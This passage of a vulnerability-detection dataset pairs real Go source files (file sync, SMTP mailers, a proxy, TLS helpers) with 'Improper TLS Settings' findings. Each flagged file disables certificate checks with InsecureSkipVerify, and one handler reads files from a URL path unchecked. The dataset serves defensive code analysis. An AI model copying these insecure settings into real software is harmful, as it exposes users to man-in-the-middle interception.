{\n\t\t\t\t\tsum := fmt.Sprintf(\"%x\", sha1.Sum(content))\n\t\t\t\t\tio.WriteString(hasher, key+sum)\n\t\t\t\t\tlock.Lock()\n\t\t\t\t\tif items[key] == nil {\n\t\t\t\t\t\titems[key] = &ITEM{}\n\t\t\t\t\t}\n\t\t\t\t\titem := items[key]\n\t\t\t\t\tlock.Unlock()\n\t\t\t\t\titem.Hash, item.Modified, item.Seen = sum, info.ModTime().Unix(), time.Now().Unix()\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t}\n\tnhash, modified := fmt.Sprintf(\"%x\", hasher.Sum(nil)), false\n\tif nhash != hash {\n\t\thash = nhash\n\t\tmodified = true\n\t}\n\tlock.Lock()\n\tfor key, item := range items {\n\t\tif time.Now().Unix()-item.Seen >= 30 {\n\t\t\tif _, err := os.Stat(filepath.Join(root, key)); err != nil {\n\t\t\t\titems[key].Deleted = true\n\t\t\t}\n\t\t}\n\t\tif time.Now().Unix()-item.Seen >= 180 {\n\t\t\tdelete(items, key)\n\t\t\tmodified = true\n\t\t}\n\t}\n\tif modified {\n\t\tlog.Info(map[string]interface{}{\"id\": id, \"event\": \"local\", \"items\": len(items), \"hash\": hash})\n\t}\n\tlock.Unlock()\n}\n\n// poll peers states\nfunc peer(name, remote string) int64 {\n\tlock.Lock()\n\tif peers[name] == nil {\n\t\tpeers[name] = &PEER{}\n\t}\n\tpeer := peers[name]\n\tlock.Unlock()\n\tclient := &http.Client{Timeout: 10 * time.Second, Transport: transport}\n\tif response, err := client.Get(remote + \"/_state\"); err == nil {\n\t\tif response.StatusCode == http.StatusOK {\n\t\t\tif content, err := ioutil.ReadAll(response.Body); err == nil {\n\t\t\t\tvar payload map[string]interface{}\n\t\t\t\tif err := json.Unmarshal(content, &payload); err == nil {\n\t\t\t\t\tphash, pitems := jsonrpc.String(payload[\"hash\"]), int64(jsonrpc.Number(payload[\"items\"]))\n\t\t\t\t\tif pid := jsonrpc.String(payload[\"id\"]); pid == name {\n\t\t\t\t\t\tif ptime := int(jsonrpc.Number(payload[\"time\"])); ptime != 0 {\n\t\t\t\t\t\t\tif dtime := int(math.Abs(float64(int(time.Now().UnixNano()/int64(time.Millisecond)) - ptime))); dtime <= 2000 {\n\t\t\t\t\t\t\t\tpeer.seen = time.Now().Unix()\n\t\t\t\t\t\t\t\tif len(phash) == 40 {\n\t\t\t\t\t\t\t\t\tif phash != peer.hash {\n\t\t\t\t\t\t\t\t\t\tlog.Info(map[string]interface{}{\"id\": id, \"event\": \"peer\", \"peer\": name, \"hash\": phash, \"items\": pitems})\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tpeer.hash, peer.items = phash, pitems\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tlog.Warn(map[string]interface{}{\"id\": id, \"event\": \"peer\", \"peer\": name, \"error\": fmt.Sprintf(\"peer ignored (clock delta %dms)\", dtime)})\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog.Warn(map[string]interface{}{\"id\": id, \"event\": \"peer\", \"peer\": name, \"error\": fmt.Sprintf(\"peer mismatch %s\", pid)})\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlog.Warn(map[string]interface{}{\"id\": id, \"event\": \"peer\", \"peer\": name, \"error\": fmt.Sprintf(\"%v\", err)})\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tlog.Warn(map[string]interface{}{\"id\": id, \"event\": \"peer\", \"peer\": name, \"error\": fmt.Sprintf(\"%v\", err)})\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Warn(map[string]interface{}{\"id\": id, \"event\": \"peer\", \"peer\": name, \"error\": fmt.Sprintf(\"%03d %s\",\n\t\t\t\tresponse.StatusCode, http.StatusText(response.StatusCode))})\n\t\t}\n\t\tresponse.Body.Close()\n\t} else {\n\t\tlog.Warn(map[string]interface{}{\"id\": id, \"event\": \"peer\", \"peer\": name, \"error\": fmt.Sprintf(\"%v\", err)})\n\t}\n\treturn peer.seen\n}\n\n// synchronize items from peers\nfunc synchronize() {\n\tlpeers := map[string]*PEER{}\n\tlock.Lock()\n\tfor name, peer := range peers {\n\t\tif time.Now().Unix()-peer.seen <= 10 {\n\t\t\tlpeers[name] = peer\n\t\t}\n\t}\n\tlock.Unlock()\n\tfor name, peer := range lpeers {\n\t\tmodified := false\n\t\tif peer.hash != hash {\n\t\t\tclient, remote := &http.Client{Timeout: 10 * time.Second, Transport: transport}, config.GetString(\"peers/\"+name, \"\")\n\t\t\tif response, err := client.Get(remote + \"/_detail\"); err == nil {\n\t\t\t\tif content, err := ioutil.ReadAll(response.Body); err == nil && len(content) > 0 {\n\t\t\t\t\tvar payload map[string]*ITEM\n\t\t\t\t\tif err := json.Unmarshal(content, &payload); err == nil {\n\t\t\t\t\t\tadd, remove := map[string]*ITEM{}, map[string]*ITEM{}\n\t\t\t\t\t\tlock.RLock()\n\t\t\t\t\t\tfor pkey, pitem := range payload {\n\t\t\t\t\t\t\tif (items[pkey] == nil && time.Now().Unix()-pitem.Modified <= 120) ||\n\t\t\t\t\t\t\t\t(items[pkey] != nil && pitem.Hash != items[pkey].Hash && time.Now().Unix()-pitem.Seen < 8 && items[pkey].Modified < pitem.Modified) {\n\t\t\t\t\t\t\t\tadd[pkey] = pitem\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif items[pkey] != nil && pitem.Hash == items[pkey].Hash && pitem.Deleted {\n\t\t\t\t\t\t\t\tif _, err := os.Stat(filepath.Join(root, pkey)); err == nil {\n\t\t\t\t\t\t\t\t\tremove[pkey] = pitem\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlock.RUnlock()\n\t\t\t\t\t\tfor key, item := range add {\n\t\t\t\t\t\t\tif response, err := client.Get(remote + \"/\" + key); err == nil {\n\t\t\t\t\t\t\t\tif content, err := ioutil.ReadAll(response.Body); err == nil && len(content) > 0 {\n\t\t\t\t\t\t\t\t\tif fmt.Sprintf(\"%x\", sha1.Sum(content)) == item.Hash {\n\t\t\t\t\t\t\t\t\t\ttarget, ok := filepath.Join(root, key), true\n\t\t\t\t\t\t\t\t\t\tif _, err := os.Stat(target); err == nil && backup != \"\" {\n\t\t\t\t\t\t\t\t\t\t\tok = false\n\t\t\t\t\t\t\t\t\t\t\tupdated := fmt.Sprintf(\"%s/%s.updated.%d\", backup, key, time.Now().UnixNano()/int64(time.Millisecond))\n\t\t\t\t\t\t\t\t\t\t\tos.MkdirAll(filepath.Dir(updated), 0755)\n\t\t\t\t\t\t\t\t\t\t\tif os.Rename(target, updated) == nil {\n\t\t\t\t\t\t\t\t\t\t\t\tok = true\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tif ok {\n\t\t\t\t\t\t\t\t\t\t\tos.MkdirAll(filepath.Dir(target), 0755)\n\t\t\t\t\t\t\t\t\t\t\tttarget := fmt.Sprintf(\"%s/.%s\", filepath.Dir(target), filepath.Base(target))\n\t\t\t\t\t\t\t\t\t\t\tif ioutil.WriteFile(ttarget, content, 0644) == nil {\n\t\t\t\t\t\t\t\t\t\t\t\tif os.Chtimes(ttarget, time.Unix(item.Modified-5, 0), time.Unix(item.Modified-5, 0)) == nil {\n\t\t\t\t\t\t\t\t\t\t\t\t\tos.Remove(target)\n\t\t\t\t\t\t\t\t\t\t\t\t\tif os.Rename(ttarget, target) == nil {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tlog.Info(map[string]interface{}{\"id\": id, \"event\": \"add\", \"peer\": name, \"item\": key})\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tresponse.Body.Close()\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfor key, _ := range remove {\n\t\t\t\t\t\t\ttarget, ok := filepath.Join(root, key), true\n\t\t\t\t\t\t\tif _, err := os.Stat(target); err == nil && backup != \"\" {\n\t\t\t\t\t\t\t\tok = false\n\t\t\t\t\t\t\t\tremoved := fmt.Sprintf(\"%s/%s.removed.%d\", backup, key, time.Now().UnixNano()/int64(time.Millisecond))\n\t\t\t\t\t\t\t\tos.MkdirAll(filepath.Dir(removed), 0755)\n\t\t\t\t\t\t\t\tif os.Rename(target, removed) == nil {\n\t\t\t\t\t\t\t\t\tok = true\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ok {\n\t\t\t\t\t\t\t\tos.Remove(target)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif _, err := os.Stat(target); err != nil {\n\t\t\t\t\t\t\t\tlock.Lock()\n\t\t\t\t\t\t\t\titems[key].Seen = time.Now().Unix() - 10\n\t\t\t\t\t\t\t\tlock.Unlock()\n\t\t\t\t\t\t\t\tlog.Info(map[string]interface{}{\"id\": id, \"event\": \"remove\", \"peer\": name, \"item\": key})\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif len(add) > 0 || len(remove) > 0 {\n\t\t\t\t\t\t\tmodified = true\n\t\t\t\t\t\t\tlocal()\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tresponse.Body.Close()\n\t\t\t}\n\t\t}\n\t\tif modified {\n\t\t\tbreak\n\t\t}\n\t}\n}\n\n// HTTP service handler\nfunc handler(response http.ResponseWriter, request *http.Request) {\n\tvar content []byte\n\n\tif request.Method != http.MethodGet {\n\t\tresponse.WriteHeader(http.StatusMethodNotAllowed)\n\t\treturn\n\t}\n\tif auth := strings.TrimSpace(config.GetString(\"auth\", \"\")); auth != \"\" {\n\t\tif user, password, ok := request.BasicAuth(); ok {\n\t\t\tif auth != user+\":\"+password {\n\t\t\t\tresponse.WriteHeader(http.StatusUnauthorized)\n\t\t\t\treturn\n\t\t\t}\n\t\t} else {\n\t\t\tresponse.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t}\n\tswitch request.URL.Path {\n\tcase \"/_state\":\n\t\tlock.RLock()\n\t\tcontent, _ = json.Marshal(map[string]interface{}{\"id\": id, \"hash\": hash, \"items\": len(items), \"time\": time.Now().UnixNano() / int64(time.Millisecond)})\n\t\tlock.RUnlock()\n\t\tresponse.Header().Set(\"Content-Type\", \"application/json\")\n\t\tresponse.Header().Set(\"Content-Length\", fmt.Sprintf(\"%d\", len(content)))\n\tcase \"/_detail\":\n\t\tlock.RLock()\n\t\tcontent, _ = json.Marshal(items)\n\t\tlock.RUnlock()\n\t\tresponse.Header().Set(\"Content-Type\", \"application/json\")\n\t\tresponse.Header().Set(\"Content-Length\", fmt.Sprintf(\"%d\", len(content)))\n\tdefault:\n\t\tif content, _ = ioutil.ReadFile(root + request.URL.Path); content != nil && len(content) > 0 {\n\t\t\tresponse.Header().Set(\"Content-Type\", \"application/octet-stream\")\n\t\t\tresponse.Header().Set(\"Content-Length\", fmt.Sprintf(\"%d\", len(content)))\n\t\t} else {\n\t\t\tresponse.WriteHeader(http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t}\n\tresponse.Write(content)\n}\n\n// main program entry\nfunc main() {\n\tvar err error\n\n\t// parse configuration\n\tif len(os.Args) < 2 {\n\t\tfmt.Fprintf(os.Stderr, \"usage: %s \\n\", filepath.Base(os.Args[0]))\n\t\tos.Exit(1)\n\t}\n\tif config, err = uconfig.New(os.Args[1]); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"configuration file syntax error: %s - aborting\\n\", err)\n\t\tos.Exit(2)\n\t}\n\tconfig.SetSeparator(\"/\")\n\tlog = ulog.New(config.GetString(\"log\", \"console()\"))\n\thostname, _ := fqdn.FQDN()\n\tid = config.GetString(\"id\", hostname)\n\troot = strings.TrimSuffix(strings.TrimSpace(config.GetString(\"root\", root)), \"/\")\n\tfilter = strings.TrimSpace(config.GetString(\"filter\", filter))\n\tif backup = strings.TrimSuffix(strings.TrimSpace(config.GetString(\"backup\", backup)), \"/\"); backup != \"\" {\n\t\tos.MkdirAll(backup, 0755)\n\t\tioutil.WriteFile(fmt.Sprintf(\"%s/.%s\", backup, progname), []byte{}, 0644)\n\t}\n\tif config.GetBoolean(\"insecure\", false) {\n\t\ttransport.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\t}\n\tlog.Info(map[string]interface{}{\"id\": id, \"event\": \"start\", \"version\": version, \"config\": os.Args[1], \"pid\": os.Getpid(),\n\t\t\"root\": root, \"filter\": filter, \"backup\": backup, \"peers\": len(config.GetPaths(\"peers\"))})\n\n\t// build local state every 3 seconds\n\tgo func() {\n\t\tfor range time.Tick(3 * time.Second) {\n\t\t\tlocal()\n\t\t}\n\t}()\n\n\t// poll peers states every 5 seconds\n\tgo func() {\n\t\tfor range time.Tick(5 * time.Second) {\n\t\t\tfor _, path := range config.GetPaths(\"peers\") {\n\t\t\t\tif name := strings.TrimPrefix(path, \"peers/\"); name != id {\n\t\t\t\t\tseen := peer(name, strings.TrimSuffix(config.GetString(path, \"\"), \"/\"))\n\t\t\t\t\tif elapsed := time.Now().Unix() - seen; seen != 0 && elapsed >= 30 {\n\t\t\t\t\t\tlog.Warn(map[string]interface{}{\"id\": id, \"event\": \"peer\", \"peer\": name, \"error\": fmt.Sprintf(\"peer not seen for the last %d seconds\", elapsed)})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\t// synchronize items every 7 seconds\n\tgo func() {\n\t\tfor range time.Tick(7 * time.Second) {\n\t\t\tsynchronize()\n\t\t}\n\t}()\n\n\t// expose local information through HTTP\n\thttp.HandleFunc(\"/\", handler)\n\tif parts := strings.Split(config.GetStringMatch(\"listen\", \"*:11170\", `^.*?(:\\d+)?((,[^,]+){2})?$`), \",\"); parts[0] != \"_\" {\n\t\tserver := &http.Server{Addr: strings.TrimLeft(parts[0], \"*\"), ReadTimeout: 10 * time.Second, IdleTimeout: 30 * time.Second, WriteTimeout: 30 * time.Second}\n\t\tif len(parts) > 1 {\n\t\t\tloader := &dynacert.DYNACERT{Public: parts[1], Key: parts[2]}\n\t\t\tserver.TLSConfig = dynacert.IntermediateTLSConfig(loader.GetCertificate)\n\t\t\tlog.Info(map[string]interface{}{\"id\": id, \"event\": \"listen\", \"listen\": parts[0], \"public\": parts[1], \"key\": parts[2]})\n\t\t\tserver.ListenAndServeTLS(\"\", \"\")\n\t\t} else {\n\t\t\tlog.Info(map[string]interface{}{\"id\": id, \"event\": \"listen\", \"listen\": parts[0]})\n\t\t\tserver.ListenAndServe()\n\t\t}\n\t}\n\tselect {}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 316, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "a9bce6031c12cc5ee7aaa9ec6460ef887b4c920d8213d9bee0007481e491163c", "license": {"spdx": ["BSD-3-Clause"], "repo": "teaoea/server", "path": "tools/send_mail.go", "repo_head_hexsha": "292f611db690be82a067dbbbfbbac9d0b4cb9860", "stack_hexsha": "4e8cc2ffb88b7bc595cb8b81feacea226883305b", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 44, "entireCode": "package tools\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/mail\"\n\t\"net/smtp\"\n\n\t\"server/config\"\n\t\"server/config/vars\"\n)\n\n// SendMail\n//example:\n// name = \"recipient\"\n//\trecipient = \"\"\n// \tsubject = \"subject\"\n//\tcontent = \"

Hello

\"\n//\treturn @false send failed @true send successfully\nfunc SendMail(recipient, sub, content string) bool {\n\tvar (\n\t\tconf config.Config\n\t\tc = conf.Get()\n\t)\n\n\tfrom := mail.Address{Name: c.Mail.From, Address: c.Mail.User} // sender\n\tto := mail.Address{Name: \"\", Address: recipient} // recipient\n\theaders := make(map[string]string)\n\theaders[\"From\"] = from.String()\n\theaders[\"To\"] = to.String()\n\theaders[\"Subject\"] = sub\n\theaders[\"Content-Type\"] = \"text/html; charset=UTF-8\"\n\tmessage := \"\"\n\tfor key, value := range headers {\n\t\tmessage += fmt.Sprintf(\"%s: %s\\r\\n\", key, value)\n\t}\n\tmessage += \"\\r\\n\" + content\n\n\tserver := fmt.Sprintf(\"%s:%s\", c.Mail.Smtp, c.Mail.Port)\n\thost, _, _ := net.SplitHostPort(server)\n\tauth := smtp.PlainAuth(\"\", c.Mail.User, c.Mail.Password, host)\n\n\ttlsConfig := &tls.Config{\n\t\tInsecureSkipVerify: true,\n\t\tServerName: host,\n\t}\n\n\t// When the program starts,use tcp to test the connectivity of the mail service\n\tconn, err := tls.Dial(\"tcp\", server, tlsConfig)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tclient, err := smtp.NewClient(conn, host)\n\tif err != nil {\n\t\tErr(\"tools/mail/send_mail.go->smtp.NewClient\", err)\n\t\treturn false\n\t}\n\n\tif err = client.Auth(auth); err != nil {\n\t\tErr(\"tools/mail/send_mail.go->client.Auth\", err)\n\t\treturn false\n\t}\n\n\tif err = client.Mail(from.Address); err != nil {\n\t\tErr(\"tools/mail/send_mail.go->client.Mail\", err)\n\t\treturn false\n\t}\n\n\tif err = client.Rcpt(to.Address); err != nil {\n\t\tErr(\"tools/mail/send_mail.go->client.Rcpt\", err)\n\t\treturn false\n\t}\n\n\tdata, err := client.Data()\n\tif err != nil {\n\t\tErr(\"tools/mail/send_mail.go->client.Data\", err)\n\t\treturn false\n\t}\n\n\t_, err = data.Write([]byte(message))\n\tif err != nil {\n\t\tErr(\"tools/mail/send_mail.go->data.Write\", err)\n\t\treturn false\n\t}\n\n\t_ = client.Quit()\n\treturn true\n}\n\nfunc SendAdmin(subject, content string) {\n\tfor i := 0; i < len(vars.Admin); i++ {\n\t\tSendMail(vars.Admin[i], subject, content)\n\t}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 44, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "a8fa44ed1f64ca1f721226ea970dae63e1fb38baf40eb70f369ddb52aefc2d5d", "license": {"spdx": ["MIT"], "repo": "razielsd/rzreversescheme", "path": "pkg/proxy/proxy.go", "repo_head_hexsha": "8ab3d8fe158ea1c10635798a29ec9151070d91aa", "stack_hexsha": "27d17443557e585355876c8aaa87c3f247373f03", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 91, "entireCode": "package proxy\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"rzreversescheme/pkg/core\"\n\t\"rzreversescheme/pkg/processor\"\n\t\"time\"\n)\n\n\ntype SchemeProxyServer struct {\n Server *http.Server\n RemoteProxyUrl string\n}\n\nvar server *http.Server\nvar remoteProxyUrl string\n\nfunc NewProxyServer(port int) SchemeProxyServer {\n proxy := SchemeProxyServer{}\n\tserver = &http.Server{\n\t\tAddr: fmt.Sprintf(\":%d\", port),\n\t\tHandler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tif r.Method == http.MethodConnect {\n\t\t\t\tproxy.HandleTunneling(w, r)\n\t\t\t} else {\n\t\t\t\tproxy.HandleHTTP(w, r)\n\t\t\t}\n\t\t}),\n\t\t// Disable HTTP/2.\n\t\tTLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler)),\n\t}\n\tproxy.Server = server\n\n\treturn proxy\n}\n\nfunc (proxy *SchemeProxyServer) SetRemoteProxyUrl(url string) {\n\tproxy.RemoteProxyUrl = url\n}\n\nfunc (proxy *SchemeProxyServer) Run(proto string, pemPath string, keyPath string) {\n\tif proto == \"https\" {\n log.Fatal(proxy.Server.ListenAndServeTLS(pemPath, keyPath))\n\t} else {\n log.Fatal(proxy.Server.ListenAndServe())\n\t}\n}\n\nfunc (proxy *SchemeProxyServer) HandleTunneling(w http.ResponseWriter, r *http.Request) {\n\tdest_conn, err := net.DialTimeout(\"tcp\", r.Host, 10*time.Second)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusServiceUnavailable)\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusOK)\n\thijacker, ok := w.(http.Hijacker)\n\tif !ok {\n\t\thttp.Error(w, \"Hijacking not supported\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\tclient_conn, _, err := hijacker.Hijack()\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusServiceUnavailable)\n\t}\n\tgo proxy.Transfer(dest_conn, client_conn)\n\tgo proxy.Transfer(client_conn, dest_conn)\n}\n\nfunc (proxy SchemeProxyServer) Transfer(destination io.WriteCloser, source io.ReadCloser) {\n\tdefer destination.Close()\n\tdefer source.Close()\n\tio.Copy(destination, source)\n}\n\nfunc (proxy *SchemeProxyServer) HandleHTTP(w http.ResponseWriter, req *http.Request) {\n\ttransport := http.Transport{}\n\tif (proxy.RemoteProxyUrl != \"\") {\n\t\turl_i := url.URL{}\n\t\turlProxy, _ := url_i.Parse(proxy.RemoteProxyUrl)\n\t\ttransport.Proxy = http.ProxyURL(urlProxy)// set proxy\n\t}\n\ttransport.TLSClientConfig = &tls.Config{InsecureSkipVerify: true} //set ssl\n\tresp, err := transport.RoundTrip(req)\n\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusServiceUnavailable)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tproxy.processRequest(req, resp)\n\n\tproxy.copyHeader(w.Header(), resp.Header)\n\tw.WriteHeader(resp.StatusCode)\n\tio.Copy(w, resp.Body)\n}\n\nfunc (proxy SchemeProxyServer) copyHeader(dst, src http.Header) {\n\tfor k, vv := range src {\n\t\tfor _, v := range vv {\n\t\t\tdst.Add(k, v)\n\t\t}\n\t}\n}\n\nfunc (proxy *SchemeProxyServer) processRequest(req *http.Request, resp *http.Response) {\n\tclientReq := core.ClientRequest{}\n\tvar bodyBytes []byte\n\tbodyBytes, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tresp.Body = ioutil.NopCloser(bytes.NewBuffer(bodyBytes))\n\tclientReq.Response.Body = string(bodyBytes)\n\tclientReq.Response.Header = resp.Header\n\tclientReq.Response.StatusCode = resp.StatusCode\n\tclientReq.Request = *req\n\tprocessor.GetChannel() <- clientReq\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 91, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "2917223a329e6372965dcb159ca23e1d454969d57027218d3b76a6046618e17b", "license": {"spdx": ["MIT"], "repo": "AmibaWorld/nps", "path": "lib/crypt/tls.go", "repo_head_hexsha": "24bd9ce6baf02aef80f9a6afcebbc4c99ecae6eb", "stack_hexsha": "69c2280dbb0f729adc32b6063512a37d9a0eee0b", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 24, "entireCode": "package crypt\n\nimport (\n\t\"crypto/tls\"\n\t\"github.com/cnlh/nps/vender/github.com/astaxie/beego\"\n\t\"github.com/cnlh/nps/vender/github.com/astaxie/beego/logs\"\n\t\"net\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\nfunc NewTlsServerConn(conn net.Conn) net.Conn {\n\tcert, err := tls.LoadX509KeyPair(filepath.Join(beego.AppPath, \"conf\", \"server.pem\"), filepath.Join(beego.AppPath, \"conf\", \"server.key\"))\n\tif err != nil {\n\t\tlogs.Error(err)\n\t\tos.Exit(0)\n\t\treturn nil\n\t}\n\tconfig := &tls.Config{Certificates: []tls.Certificate{cert}}\n\treturn tls.Server(conn, config)\n}\n\nfunc NewTlsClientConn(conn net.Conn) net.Conn {\n\tconf := &tls.Config{\n\t\tInsecureSkipVerify: true,\n\t}\n\treturn tls.Client(conn, conf)\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 24, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "830179f16866241508971faab8e9a31d39f0813a5cb2d66697b343683605a88b", "license": {"spdx": ["MIT"], "repo": "sijunya/mm-wiki", "path": "app/utils/email.go", "repo_head_hexsha": "515d6e8fef27abd55102c16503f8e59313e4e771", "stack_hexsha": "0bb144761554594c621e9ad60a14f83f053fcf13", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 43, "entireCode": "package utils\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"github.com/astaxie/beego\"\n\t\"github.com/chaiyd/mm-wiki/global\"\n\t\"gopkg.in/gomail.v2\"\n\t\"gopkg.in/russross/blackfriday.v2\"\n\t\"net/smtp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\nvar Email = NewEmail()\n\ntype email struct {\n}\n\nfunc NewEmail() *email {\n\treturn &email{}\n}\n\nfunc (e *email) Send(emailConf map[string]string, toList []string, subject string, body string) error {\n\n\tfrom := emailConf[\"sender_address\"]\n\tif emailConf[\"sender_name\"] != \"\" {\n\t\tfrom = fmt.Sprintf(\"%s <%s>\", emailConf[\"sender_name\"], emailConf[\"sender_address\"])\n\t}\n\tvar tt []*gomail.Message\n\tfor _, toAddress := range toList {\n\t\tm := gomail.NewMessage()\n\t\tm.SetHeader(\"From\", from)\n\t\tm.SetHeader(\"To\", toAddress)\n\t\tm.SetHeader(\"Subject\", emailConf[\"sender_title_prefix\"]+subject)\n\t\tm.SetBody(\"text/html\", body)\n\t\ttt = append(tt, m)\n\t}\n\tportInt, _ := strconv.Atoi(emailConf[\"port\"])\n\td := gomail.NewDialer(emailConf[\"host\"], portInt, emailConf[\"username\"], emailConf[\"password\"])\n\tif emailConf[\"is_ssl\"] == \"1\" {\n\t\td.TLSConfig = &tls.Config{InsecureSkipVerify: true}\n\t}\n\treturn d.DialAndSend(tt...)\n}\n\nfunc (e *email) SendByEmail(email map[string]string, to []string, subject string, body string, contentType string) error {\n\n\tuserEmail := email[\"sender_address\"]\n\taddr := fmt.Sprintf(\"%s:%s\", email[\"host\"], email[\"port\"])\n\tauth := smtp.PlainAuth(\"\", userEmail, email[\"password\"], email[\"host\"])\n\tuser := email[\"username\"]\n\tnickname := email[\"sender_name\"]\n\tsubject = email[\"sender_title_prefix\"] + subject\n\n\tmsg := fmt.Sprintf(\"To: %s \\r\\nFrom: %s <%s>\\r\\nSubject: %s \\r\\nContent-Type: text/%s; charset=UTF-8\\r\\n\\r\\n%s\",\n\t\tstrings.Join(to, \",\"), nickname, user, subject, contentType, body)\n\n\terr := smtp.SendMail(addr, auth, user, to, []byte(msg))\n\treturn err\n}\n\nfunc (e *email) MakeDocumentHtmlBody(document 